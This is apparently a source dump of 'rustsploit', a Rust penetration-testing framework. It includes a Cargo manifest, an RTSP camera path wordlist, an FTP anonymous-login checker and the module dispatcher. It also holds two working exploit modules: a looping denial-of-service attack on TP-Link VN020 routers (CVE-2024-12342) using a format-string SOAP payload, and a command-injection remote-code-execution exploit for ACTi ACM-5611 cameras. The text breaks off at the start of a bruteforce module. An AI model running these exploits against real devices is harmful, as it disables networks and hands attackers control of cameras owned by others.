enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. | 13 | | `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. | 14 | | `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). | 15 | | `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. | 16 | | `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. | 17 | 18 | --- 19 | 20 | ## Contributing Lists 21 | 22 | 1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms. 23 | 2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them. 24 | 3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents. 25 | 4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users. 26 | 5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution. 27 | 28 | --- 29 | 30 | ## Ideas for Future Lists 31 | 32 | - `ftp-default-creds.txt` for anonymous login checks 33 | - `telnet-banners.txt` to fingerprint devices before brute forcing 34 | - `http-admin-panels.txt` for web interface discovery scanners 35 | - Vendor-specific RTSP or ONVIF endpoint lists 36 | - `snmp-community-strings.txt` for SNMP brute forcing 37 | - `fortinet-users.txt` for Fortinet SSL VPN testing 38 | - `ssh-default-creds.txt` for common SSH credentials 39 | 40 | ## Security Notes 41 | 42 | When contributing wordlists: 43 | - **No malicious payloads:** Lists should contain credentials/paths only, not exploit code 44 | - **Respect file size limits:** Keep lists under 10MB (framework limit for file reading) 45 | - **UTF-8 encoding:** Use UTF-8 text encoding for all files 46 | - **Line format:** One entry per line, use `#` or `//` for comments 47 | 48 | Pull requests welcome—please include both the data file and an entry here. 49 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rustsploit" 3 | version = "0.3.5" 4 | edition = "2024" 5 | build = "build.rs" 6 | 7 | [[bin]] 8 | name = "rustsploit" 9 | path = "src/main.rs" 10 | 11 | [dependencies] 12 | # Core / General 13 | anyhow = "1.0" 14 | colored = "3.0" # newer than 2.0 15 | rand = "0.9" 16 | rustyline = "15.0" 17 | sysinfo = { version = "0.36", features = ["multithread"] } 18 | 19 | # CLI & Async runtime 20 | clap = { version = "4.5", features = ["derive"] } 21 | tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] } 22 | 23 | # HTTP & Web 24 | reqwest = { version = "0.12", features = ["json", "cookies", "socks"] } 25 | h2 = "0.3" 26 | http = "0.2" 27 | bytes = "1.0" 28 | tokio-rustls = "0.24" 29 | url = "2.5" 30 | quick-xml = "0.37" 31 | data-encoding = "2.5" 32 | semver = "1.0" 33 | 34 | # Crypto & Encoding 35 | aes = "0.8" 36 | cipher = "0.4" 37 | md5 = "0.7" 38 | sha2 = "0.10" 39 | hex = "0.4" 40 | flate2 = "1.0" 41 | base64 = "0.22" 42 | 43 | # Networking & Protocols 44 | tokio-socks = "0.5" 45 | socket2 = { version = "0.5", features = ["all"] } 46 | pnet_packet = "0.34" 47 | ipnet = "2.11" 48 | ipnetwork = "0.20" 49 | regex = "1.11" # newest listed 50 | which = "8.0" 51 | 52 | # FTP 53 | async_ftp = "6.0" 54 | suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] } 55 | native-tls = "0.2" 56 | rustls = "0.23" 57 | webpki-roots = "0.26" 58 | 59 | # Telnet 60 | threadpool = "1.8" 61 | crossbeam-channel = "0.5" 62 | telnet = "0.2" 63 | async-stream = "0.3.6" 64 | 65 | # SSH 66 | ssh2 = "0.9" 67 | libc = "0.2" 68 | 69 | # RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands) 70 | # rdp = "0.12" 71 | 72 | # Walkdir (used by telnet module) 73 | walkdir = "2.5" 74 | 75 | # WebSocket (Spotube exploit) 76 | tokio-tungstenite = "0.26" 77 | 78 | # Futures 79 | futures = "0.3" 80 | futures-util = "0.3" 81 | 82 | # JSON & Serialization 83 | serde = { version = "1.0", features = ["derive"] } 84 | serde_json = "1.0" 85 | chrono = { version = "0.4", features = ["serde"] } 86 | 87 | # API Server (Axum) 88 | axum = "0.7" 89 | tower = "0.5" 90 | tower-http = { version = "0.6", features = ["cors", "trace", "limit"] } 91 | uuid = { version = "1.10", features = ["v4"] } 92 | 93 | # DNS 94 | hickory-client = { version = "0.24", features = ["dnssec"] } 95 | hickory-proto = "0.24" 96 | 97 | # Misc utilities 98 | once_cell = "1.19" 99 | home = "0.5" # updated for edition 2024 compatibility 100 | 101 | [build-dependencies] 102 | regex = "1.11" 103 | 104 | # Dependency overrides to address security warnings in transitive dependencies 105 | # Note: These are warnings (not vulnerabilities) in transitive dependencies 106 | # async-std warning: suppaftp uses async-std internally - waiting for upstream fix 107 | # The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency 108 | 109 | [profile.release] 110 | opt-level = 3 111 | lto = "fat" 112 | codegen-units = 1 113 | panic = "abort" 114 | strip = true 115 | -------------------------------------------------------------------------------- /lists/rtsp-paths.txt: -------------------------------------------------------------------------------- 1 | 2 | 0 3 | 0video1 4 | 1 5 | 1.AMP 6 | 11:1main 7 | 1cif 8 | 1stream1 9 | 11 10 | 12 11 | 4 12 | CAM_ID.password.mp2 13 | CH001.sdp 14 | GetData.cgi 15 | H264 16 | HighResolutionVideo 17 | HighResolutionvideo 18 | Image.jpg 19 | LowResolutionVideo 20 | MJPEG.cgi 21 | MediaInputh264 22 | MediaInputh264stream_1 23 | MediaInputmpeg4 24 | ONVIFMediaInput 25 | ONVIFchannel1 26 | PSIAStreamingchannels0?videoCodecType=H.264 27 | PSIAStreamingchannels1 28 | PSIAStreamingchannels1?videoCodecType=MPEG4 29 | PSIAStreamingchannelsh264 30 | Possible 31 | ROHchannel11 32 | StreamingChannels1 33 | StreamingChannels101 34 | StreamingChannels102 35 | StreamingChannels103 36 | StreamingChannels2 37 | StreamingUnicastchannels101 38 | Streamingchannels101 39 | Video?Codec=MPEG4&Width=720&Height=576&Fps=30 40 | VideoInput1h2641 41 | access_code 42 | access_name_for_stream_1_to_5 43 | av0_0 44 | av0_1 45 | av2 46 | avn=2 47 | axis-mediamedia.amp 48 | axis-mediamedia.amp?videocodec=h264&resolution=640x480 49 | cam 50 | camrealmonitor 51 | camrealmonitor?channel=1&subtype=00 52 | camrealmonitor?channel=1&subtype=01 53 | camrealmonitor?channel=1&subtype=1 54 | cam0_0 55 | cam0_1 56 | cam1h264 57 | cam1h264multicast 58 | cam1mjpeg 59 | cam1mpeg4 60 | cam1onvif-h264 61 | camera.stm 62 | cgi-binviewervideo.jpg?resolution=640x480 63 | ch0 64 | ch0.h264 65 | ch001.sdp 66 | ch01.264 67 | ch0_0.h264 68 | ch0_unicast_firststream 69 | ch0_unicast_secondstream 70 | channel1 71 | dms.jpg 72 | dms?nowprofileid=2 73 | h264 74 | h264.sdp 75 | h264ch1sub 76 | h264media.amp 77 | h264Preview_01_main 78 | h264Preview_01_sub 79 | cam4mpeg4 80 | h264_vga.sdp 81 | image.jpg 82 | image.mpg 83 | imagejpeg.cgi 84 | imgmedia.sav 85 | imgvideo.asf 86 | imgvideo.sav 87 | ioImage1 88 | ipcam.sdp 89 | ipcamstream.cgi?nowprofileid=2 90 | ipcam_h264.sdp 91 | jpgimage.jpg?size=3 92 | live 93 | live.sdp 94 | liveav0 95 | livech0 96 | livech00_0 97 | livech00_1 98 | livech1 99 | livech2 100 | liveh264 101 | livempeg4 102 | live0.264 103 | live1.264 104 | live1.sdp 105 | live2.sdp 106 | live3.sdp 107 | live_h264.sdp 108 | live_mpeg4.sdp 109 | livestream 110 | livestream 111 | media 112 | media.amp 113 | mediamedia.amp 114 | mediavideo1 115 | mediavideo2 116 | mediavideo3 117 | medias1 118 | mjpeg.cgi 119 | mjpegmedia.smp 120 | mp4 121 | mpeg4 122 | mpeg41media.amp 123 | mpeg4media.amp 124 | mpeg4media.amp?resolution=640x480 125 | mpeg4media.smp 126 | mpeg4cif 127 | mpeg4unicast 128 | mpg4rtsp.amp 129 | multicaststream 130 | now.mp4 131 | nph-h264.cgi 132 | nphMpeg4g726-640x 133 | nphMpeg4g726-640x480 134 | nphMpeg4nil-320x240 135 | onvif-mediamedia.amp 136 | onviflive2 137 | onvif1 138 | onvif2 139 | play1.sdp 140 | play2.sdp 141 | profile 142 | recognizer 143 | rtpvideo1.sdp 144 | rtsp_tunnel 145 | rtsph264 146 | rtsph2641080p 147 | stream1 148 | stream2 149 | streamingmjpeg 150 | synthesizer 151 | tcpav0_0 152 | user_defined 153 | video 154 | video.3gp 155 | video.cgi 156 | video.cgi?resolution=VGA 157 | video.cgi?resolution=vga 158 | video.h264 159 | video.mjpg 160 | video.mp4 161 | video.pro1 162 | video.pro2 163 | ucast11 164 | unicastc1s1live 165 | user.pin.mp2 166 | video.pro3 167 | videomjpg.cgi 168 | video1 169 | video1+audio1 170 | video2.mjpg 171 | videoMain 172 | videoinput_1:0h264_1onvif.stm 173 | user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream 174 | videostream.cgi?rate=0 175 | vis 176 | wfov 177 | -------------------------------------------------------------------------------- /src/modules/creds/generic/ftp_anonymous.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result}; 2 | use colored::*; 3 | use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}; 4 | use suppaftp::async_native_tls::TlsConnector; 5 | use tokio::time::{timeout, Duration}; 6 | 7 | const DEFAULT_TIMEOUT_SECS: u64 = 5; 8 | 9 | fn display_banner() { 10 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 11 | println!("{}", "║ FTP Anonymous Login Checker ║".cyan()); 12 | println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan()); 13 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 14 | println!(); 15 | } 16 | 17 | /// Format IPv4 or IPv6 addresses with port 18 | fn format_addr(target: &str, port: u16) -> String { 19 | if target.starts_with('[') && target.contains("]:") { 20 | target.to_string() 21 | } else if target.matches(':').count() == 1 && !target.contains('[') { 22 | target.to_string() 23 | } else { 24 | let clean = if target.starts_with('[') && target.ends_with(']') { 25 | &target[1..target.len() - 1] 26 | } else { 27 | target 28 | }; 29 | if clean.contains(':') { 30 | format!("[{}]:{}", clean, port) 31 | } else { 32 | format!("{}:{}", clean, port) 33 | } 34 | } 35 | } 36 | 37 | /// Anonymous FTP/FTPS login test with IPv6 support 38 | pub async fn run(target: &str) -> Result<()> { 39 | display_banner(); 40 | 41 | let addr = format_addr(target, 21); 42 | let domain = target 43 | .trim_start_matches('[') 44 | .split(&[']', ':'][..]) 45 | .next() 46 | .unwrap_or(target); 47 | 48 | println!("{}", format!("[*] Target: {}", target).cyan()); 49 | println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan()); 50 | println!(); 51 | 52 | // 1️⃣ Try plain FTP first 53 | match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await { 54 | Ok(Ok(mut ftp)) => { 55 | let result = ftp.login("anonymous", "anonymous").await; 56 | if result.is_ok() { 57 | println!("{}", "[+] Anonymous login successful (FTP)".green().bold()); 58 | let _ = ftp.quit().await; 59 | return Ok(()); 60 | } else if let Err(e) = result { 61 | if e.to_string().contains("530") { 62 | println!("{}", "[-] Anonymous login rejected (FTP)".yellow()); 63 | return Ok(()); 64 | } else if e.to_string().contains("550 SSL") { 65 | println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan()); 66 | } else { 67 | return Err(anyhow!("FTP error: {}", e)); 68 | } 69 | } 70 | } 71 | Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()), 72 | Err(_) => println!("{}", "[-] FTP connection timed out".yellow()), 73 | } 74 | 75 | // 2️⃣ Fallback to FTPS 76 | println!("{}", "[*] Attempting FTPS connection...".cyan()); 77 | 78 | let mut ftps = AsyncNativeTlsFtpStream::connect(&addr) 79 | .await 80 | .map_err(|e| anyhow!("FTPS connect failed: {}", e))?; 81 | 82 | let connector = AsyncNativeTlsConnector::from( 83 | TlsConnector::new() 84 | .danger_accept_invalid_certs(true) 85 | .danger_accept_invalid_hostnames(true), 86 | ); 87 | 88 | ftps = ftps 89 | .into_secure(connector, domain) 90 | .await 91 | .map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?; 92 | 93 | match ftps.login("anonymous", "anonymous").await { 94 | Ok(_) => { 95 | println!("{}", "[+] Anonymous login successful (FTPS)".green().bold()); 96 | let _ = ftps.quit().await; 97 | } 98 | Err(e) if e.to_string().contains("530") => { 99 | println!("{}", "[-] Anonymous login rejected (FTPS)".yellow()); 100 | } 101 | Err(e) => return Err(anyhow!("FTPS login error: {}", e)), 102 | } 103 | 104 | Ok(()) 105 | } 106 | -------------------------------------------------------------------------------- /src/modules/exploits/tplink/tp_link_vn020_dos.rs: -------------------------------------------------------------------------------- 1 | // CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service 2 | // Exploit Author: Mohamed Maatallah 3 | // Ported to Rust 4 | 5 | use anyhow::{Context, Result}; 6 | use crate::utils::normalize_target; 7 | use reqwest::Client; 8 | use std::io::{self, BufRead}; 9 | use std::sync::{ 10 | atomic::{AtomicBool, Ordering}, 11 | Arc, 12 | }; 13 | use std::thread; 14 | use std::time::Duration; 15 | use tokio::join; 16 | 17 | // Use framework's normalize_target utility - removed custom implementation 18 | 19 | /// Send the malformed AddPortMapping SOAP request (PoC 1) 20 | async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> { 21 | // Missing parameters PoC - will crash the router 22 | let url = format!("http://{target}:5431/control/WANIPConnection"); 23 | let body = r#" 24 | 25 | 26 | 27 | hello 28 | 29 | 30 | "#; 31 | 32 | let res = client 33 | .post(&url) 34 | .header("Content-Type", "text/xml") 35 | .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"") 36 | .body(body) 37 | .send() 38 | .await 39 | .context("Failed to send DoS request 1 (Missing Parameters)")?; 40 | 41 | println!("[+] PoC 1 sent. Status: {}", res.status()); 42 | Ok(()) 43 | } 44 | 45 | /// Send the memory corruption SetConnectionType SOAP request (PoC 2) 46 | async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> { 47 | // Memory corruption PoC using format string overflow 48 | let long_payload = "%x".repeat(10_000); 49 | let url = format!("http://{target}:5431/control/WANIPConnection"); 50 | let body = format!( 51 | r#" 52 | 53 | 54 | 55 | {} 56 | 57 | 58 | "#, 59 | long_payload 60 | ); 61 | 62 | let res = client 63 | .post(&url) 64 | .header("Content-Type", "text/xml") 65 | .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"") 66 | .body(body) 67 | .send() 68 | .await 69 | .context("Failed to send DoS request 2 (Memory Corruption)")?; 70 | 71 | println!("[+] PoC 2 sent. Status: {}", res.status()); 72 | Ok(()) 73 | } 74 | 75 | /// Entry point for the exploit module 76 | pub async fn run(raw_target: &str) -> Result<()> { 77 | // Normalize target 78 | let target = normalize_target(raw_target)?; 79 | 80 | // Create HTTP client with insecure certs accepted and 5s timeout 81 | let client = Client::builder() 82 | .timeout(Duration::from_secs(5)) 83 | .danger_accept_invalid_certs(true) 84 | .build() 85 | .context("Failed to build HTTP client")?; 86 | 87 | println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running..."); 88 | println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER."); 89 | 90 | let stop_flag = Arc::new(AtomicBool::new(false)); 91 | let stop_flag_clone = Arc::clone(&stop_flag); 92 | 93 | // Monitor stdin for "stop" command 94 | thread::spawn(move || { 95 | let stdin = io::stdin(); 96 | for line in stdin.lock().lines() { 97 | if let Ok(input) = line { 98 | if input.trim().eq_ignore_ascii_case("stop") { 99 | stop_flag_clone.store(true, Ordering::Relaxed); 100 | println!("[*] Stopping attack..."); 101 | break; 102 | } 103 | } 104 | } 105 | }); 106 | 107 | // Continuous dual PoC attack until user stops 108 | while !stop_flag.load(Ordering::Relaxed) { 109 | let (r1, r2) = join!( 110 | dos_missing_parameters(&client, &target), 111 | dos_memory_corruption(&client, &target) 112 | ); 113 | 114 | if let Err(e) = r1 { 115 | eprintln!("[!] Error during PoC 1: {e}"); 116 | } 117 | if let Err(e) = r2 { 118 | eprintln!("[!] Error during PoC 2: {e}"); 119 | } 120 | } 121 | 122 | println!("[+] Exploit session ended."); 123 | Ok(()) 124 | } 125 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Context, Result}; 2 | use clap::Parser; 3 | use std::net::SocketAddr; 4 | 5 | mod cli; 6 | mod shell; 7 | mod commands; 8 | mod modules; 9 | mod utils; 10 | mod api; 11 | mod config; 12 | 13 | /// Maximum length for API key to prevent memory exhaustion 14 | const MAX_API_KEY_LENGTH: usize = 256; 15 | 16 | /// Maximum length for interface/bind address 17 | const MAX_BIND_ADDRESS_LENGTH: usize = 128; 18 | 19 | /// Maximum IP limit for hardening mode 20 | const MAX_IP_LIMIT: u32 = 10000; 21 | 22 | /// Validates the bind address format for security 23 | fn validate_bind_address(addr: &str) -> Result { 24 | let trimmed = addr.trim(); 25 | 26 | // Length check 27 | if trimmed.is_empty() { 28 | return Err(anyhow!("Bind address cannot be empty")); 29 | } 30 | 31 | if trimmed.len() > MAX_BIND_ADDRESS_LENGTH { 32 | return Err(anyhow!( 33 | "Bind address too long (max {} characters)", 34 | MAX_BIND_ADDRESS_LENGTH 35 | )); 36 | } 37 | 38 | // Check for control characters 39 | if trimmed.chars().any(|c| c.is_control()) { 40 | return Err(anyhow!("Bind address cannot contain control characters")); 41 | } 42 | 43 | // Add port if missing 44 | let with_port = if trimmed.contains(':') { 45 | trimmed.to_string() 46 | } else { 47 | format!("{}:8080", trimmed) 48 | }; 49 | 50 | // Validate socket address format 51 | with_port.parse::() 52 | .map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?; 53 | 54 | Ok(with_port) 55 | } 56 | 57 | /// Validates API key format for security 58 | fn validate_api_key(key: &str) -> Result { 59 | let trimmed = key.trim(); 60 | 61 | if trimmed.is_empty() { 62 | return Err(anyhow!("API key cannot be empty")); 63 | } 64 | 65 | if trimmed.len() > MAX_API_KEY_LENGTH { 66 | return Err(anyhow!( 67 | "API key too long (max {} characters)", 68 | MAX_API_KEY_LENGTH 69 | )); 70 | } 71 | 72 | // Only allow printable ASCII characters 73 | if !trimmed.chars().all(|c| c.is_ascii_graphic()) { 74 | return Err(anyhow!("API key must contain only printable ASCII characters")); 75 | } 76 | 77 | Ok(trimmed.to_string()) 78 | } 79 | 80 | /// Validates IP limit for hardening mode 81 | fn validate_ip_limit(limit: u32) -> Result { 82 | if limit == 0 { 83 | return Err(anyhow!("IP limit must be greater than 0")); 84 | } 85 | 86 | if limit > MAX_IP_LIMIT { 87 | return Err(anyhow!( 88 | "IP limit too high (max {})", 89 | MAX_IP_LIMIT 90 | )); 91 | } 92 | 93 | Ok(limit) 94 | } 95 | 96 | #[tokio::main] 97 | async fn main() -> Result<()> { 98 | // Parse command-line arguments 99 | let cli_args = cli::Cli::parse(); 100 | 101 | // Check if API mode is requested 102 | if cli_args.api { 103 | let api_key_raw = cli_args 104 | .api_key 105 | .context("--api-key is required when using --api mode")?; 106 | 107 | // Validate API key 108 | let api_key = validate_api_key(&api_key_raw) 109 | .context("Invalid API key")?; 110 | 111 | let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string()); 112 | 113 | // Validate and normalize bind address 114 | let bind_address = validate_bind_address(&interface) 115 | .context("Invalid bind address")?; 116 | 117 | let harden = cli_args.harden; 118 | 119 | // Validate IP limit 120 | let ip_limit_raw = cli_args.ip_limit.unwrap_or(10); 121 | let ip_limit = validate_ip_limit(ip_limit_raw) 122 | .context("Invalid IP limit")?; 123 | 124 | api::start_api_server(&bind_address, api_key, harden, ip_limit).await?; 125 | return Ok(()); 126 | } 127 | 128 | // Set global target if provided 129 | if let Some(ref target) = cli_args.set_target { 130 | // Target validation is done in config::set_target 131 | config::GLOBAL_CONFIG.set_target(target)?; 132 | println!("✓ Global target set to: {}", target); 133 | } 134 | 135 | // If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly: 136 | if let Some(cmd) = &cli_args.command { 137 | commands::handle_command(cmd, &cli_args).await?; 138 | } 139 | // Otherwise, launch the interactive shell 140 | else { 141 | shell::interactive_shell().await?; 142 | } 143 | 144 | Ok(()) 145 | } 146 | -------------------------------------------------------------------------------- /src/modules/exploits/acti/acm_5611_rce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result, Context}; 2 | use colored::*; 3 | use reqwest::Client; 4 | use std::time::Duration; 5 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 6 | 7 | /// Executes an RCE on ACTi ACM-5611 Video Camera using command injection 8 | /// Reference: 9 | /// - https://www.exploitalert.com/view-details.html?id=34128 10 | /// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html 11 | 12 | /// Exploit authors: 13 | /// - Todor Donev 14 | /// - GH0st3rs (RouterSploit module) 15 | 16 | const DEFAULT_PORT: u16 = 8080; 17 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 18 | 19 | /// Display module banner 20 | fn display_banner() { 21 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 22 | println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan()); 23 | println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan()); 24 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 25 | } 26 | 27 | pub async fn run(target: &str) -> Result<()> { 28 | display_banner(); 29 | println!("{}", format!("[*] Target: {}", target).yellow()); 30 | println!(); 31 | 32 | // Prompt for port 33 | print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold()); 34 | tokio::io::stdout() 35 | .flush() 36 | .await 37 | .context("Failed to flush stdout")?; 38 | let mut port_input = String::new(); 39 | tokio::io::BufReader::new(tokio::io::stdin()) 40 | .read_line(&mut port_input) 41 | .await 42 | .context("Failed to read port input")?; 43 | let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT); 44 | 45 | println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow()); 46 | 47 | if check(target, port).await? { 48 | println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold()); 49 | 50 | // Prompt for command to execute 51 | print!("{}", "Enter command to execute (default: id): ".cyan().bold()); 52 | tokio::io::stdout() 53 | .flush() 54 | .await 55 | .context("Failed to flush stdout")?; 56 | let mut cmd_input = String::new(); 57 | tokio::io::BufReader::new(tokio::io::stdin()) 58 | .read_line(&mut cmd_input) 59 | .await 60 | .context("Failed to read command input")?; 61 | let cmd = { 62 | let t = cmd_input.trim(); 63 | if t.is_empty() { "id" } else { t } 64 | }; 65 | 66 | println!("{}", format!("[*] Executing command: {}", cmd).cyan()); 67 | let output = execute(target, port, cmd).await?; 68 | println!("{}", format!("[+] Output:\n{}", output).green()); 69 | } else { 70 | println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red()); 71 | } 72 | 73 | Ok(()) 74 | } 75 | 76 | /// Perform a command injection via GET /cgi-bin/test?iperf=; 77 | async fn execute(target: &str, port: u16, cmd: &str) -> Result { 78 | let url = format!("http://{}:{}/cgi-bin/test", target, port); 79 | let client = Client::builder() 80 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 81 | .danger_accept_invalid_certs(true) 82 | .build()?; 83 | 84 | let res = client 85 | .get(&url) 86 | .header("Content-Type", "application/x-www-form-urlencoded") 87 | .header("Referer", format!("http://{}:{}", target, port)) 88 | .query(&[("iperf", format!(";{}", cmd))]) 89 | .send() 90 | .await?; 91 | 92 | if res.status().is_success() { 93 | let text = res.text().await?; 94 | Ok(text) 95 | } else { 96 | Err(anyhow!("Command execution failed, status code: {}", res.status())) 97 | } 98 | } 99 | 100 | /// Check if the target is running the vulnerable service 101 | async fn check(target: &str, port: u16) -> Result { 102 | let url = format!("http://{}:{}/cgi-bin/test", target, port); 103 | let index_url = format!("http://{}:{}/", target, port); 104 | let client = Client::builder() 105 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 106 | .danger_accept_invalid_certs(true) 107 | .build()?; 108 | 109 | // Check /cgi-bin/test 110 | let test_res = client.get(&url).send().await?; 111 | if test_res.status().is_success() { 112 | println!("{}", "[*] CGI endpoint accessible".cyan()); 113 | // Check root page contains 'Web Configurator' 114 | let index_res = client.get(&index_url).send().await?; 115 | if index_res.status().is_success() { 116 | let body = index_res.text().await?; 117 | if body.contains("Web Configurator") { 118 | println!("{}", "[*] ACTi Web Configurator detected".cyan()); 119 | return Ok(true); 120 | } 121 | } 122 | } 123 | 124 | Ok(false) 125 | } 126 | -------------------------------------------------------------------------------- /src/commands/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod exploit; 2 | pub mod scanner; 3 | pub mod creds; 4 | 5 | use anyhow::Result; 6 | use crate::cli::Cli; 7 | use crate::config; 8 | use walkdir::WalkDir; 9 | use crate::utils::normalize_target; 10 | 11 | /// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner 12 | pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> { 13 | // Use CLI target if provided, otherwise try global target 14 | let raw = if let Some(ref t) = cli_args.target { 15 | t.clone() 16 | } else if config::GLOBAL_CONFIG.has_target() { 17 | // Use single IP from global target (handles subnets intelligently) 18 | match config::GLOBAL_CONFIG.get_single_target_ip() { 19 | Ok(ip) => { 20 | println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()); 21 | ip 22 | } 23 | Err(e) => { 24 | return Err(anyhow::anyhow!("No target specified and global target error: {}", e)); 25 | } 26 | } 27 | } else { 28 | return Err(anyhow::anyhow!("No target specified. Use --target or --set-target ")); 29 | }; 30 | 31 | let target = normalize_target(&raw)?; // IPv6 wrap only, no port 32 | let module = cli_args.module.clone().unwrap_or_default(); 33 | 34 | match command { 35 | "exploit" => { 36 | let trimmed = module.trim_start_matches("exploits/"); 37 | exploit::run_exploit(trimmed, &target).await?; 38 | }, 39 | "scanner" => { 40 | let trimmed = module.trim_start_matches("scanners/"); 41 | scanner::run_scan(trimmed, &target).await?; 42 | }, 43 | "creds" => { 44 | let trimmed = module.trim_start_matches("creds/"); 45 | creds::run_cred_check(trimmed, &target).await?; 46 | }, 47 | _ => { 48 | eprintln!("Unknown command '{}'", command); 49 | } 50 | } 51 | 52 | Ok(()) 53 | } 54 | 55 | /// Interactive shell: handles `run` with raw target string 56 | /// If raw_target is empty, uses global target if available 57 | pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> { 58 | let available = discover_modules(); 59 | 60 | let full_match = available.iter().find(|m| m == &module_path); 61 | let short_match = available.iter().find(|m| { 62 | m.rsplit_once('/') 63 | .map(|(_, short)| short == module_path) 64 | .unwrap_or(false) 65 | }); 66 | 67 | let resolved = if let Some(m) = full_match { 68 | m 69 | } else if let Some(m) = short_match { 70 | m 71 | } else { 72 | eprintln!("❌ Unknown module '{}'. Available modules:", module_path); 73 | for m in available { 74 | println!(" {}", m); 75 | } 76 | return Ok(()); 77 | }; 78 | 79 | // Use provided target, or fall back to global target 80 | let target_str = if raw_target.is_empty() { 81 | if config::GLOBAL_CONFIG.has_target() { 82 | match config::GLOBAL_CONFIG.get_single_target_ip() { 83 | Ok(ip) => { 84 | println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()); 85 | ip 86 | } 87 | Err(e) => { 88 | return Err(anyhow::anyhow!("No target specified and global target error: {}", e)); 89 | } 90 | } 91 | } else { 92 | return Err(anyhow::anyhow!("No target specified. Use 'set target ' or provide target when running module")); 93 | } 94 | } else { 95 | raw_target.to_string() 96 | }; 97 | 98 | let target = normalize_target(&target_str)?; 99 | 100 | let mut parts = resolved.splitn(2, '/'); 101 | let category = parts.next().unwrap_or(""); 102 | let module_name = parts.next().unwrap_or(""); 103 | 104 | match category { 105 | "exploits" => exploit::run_exploit(module_name, &target).await?, 106 | "scanners" => scanner::run_scan(module_name, &target).await?, 107 | "creds" => creds::run_cred_check(module_name, &target).await?, 108 | _ => eprintln!("❌ Category '{}' is not supported.", category), 109 | } 110 | 111 | Ok(()) 112 | } 113 | 114 | /// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs 115 | pub fn discover_modules() -> Vec { 116 | let mut modules = Vec::new(); 117 | let categories = ["exploits", "scanners", "creds"]; 118 | 119 | for category in &categories { 120 | let base = format!("src/modules/{}", category); 121 | for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) { 122 | let p = entry.path(); 123 | if p.is_file() 124 | && p.extension().map_or(false, |e| e == "rs") 125 | && p.file_name().map_or(true, |n| n != "mod.rs") 126 | { 127 | if let Ok(rel) = p.strip_prefix("src/modules") { 128 | let module_path = rel 129 | .with_extension("") 130 | .to_string_lossy() 131 | .replace("\\", "/"); 132 | modules.push(module_path); 133 | } 134 | } 135 | } 136 | } 137 | 138 | modules 139 | } 140 | -------------------------------------------------------------------------------- /src/modules/creds/generic/enablebruteforce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use colored::*; 3 | use libc::{rlimit, setrlimit, getrlimit, 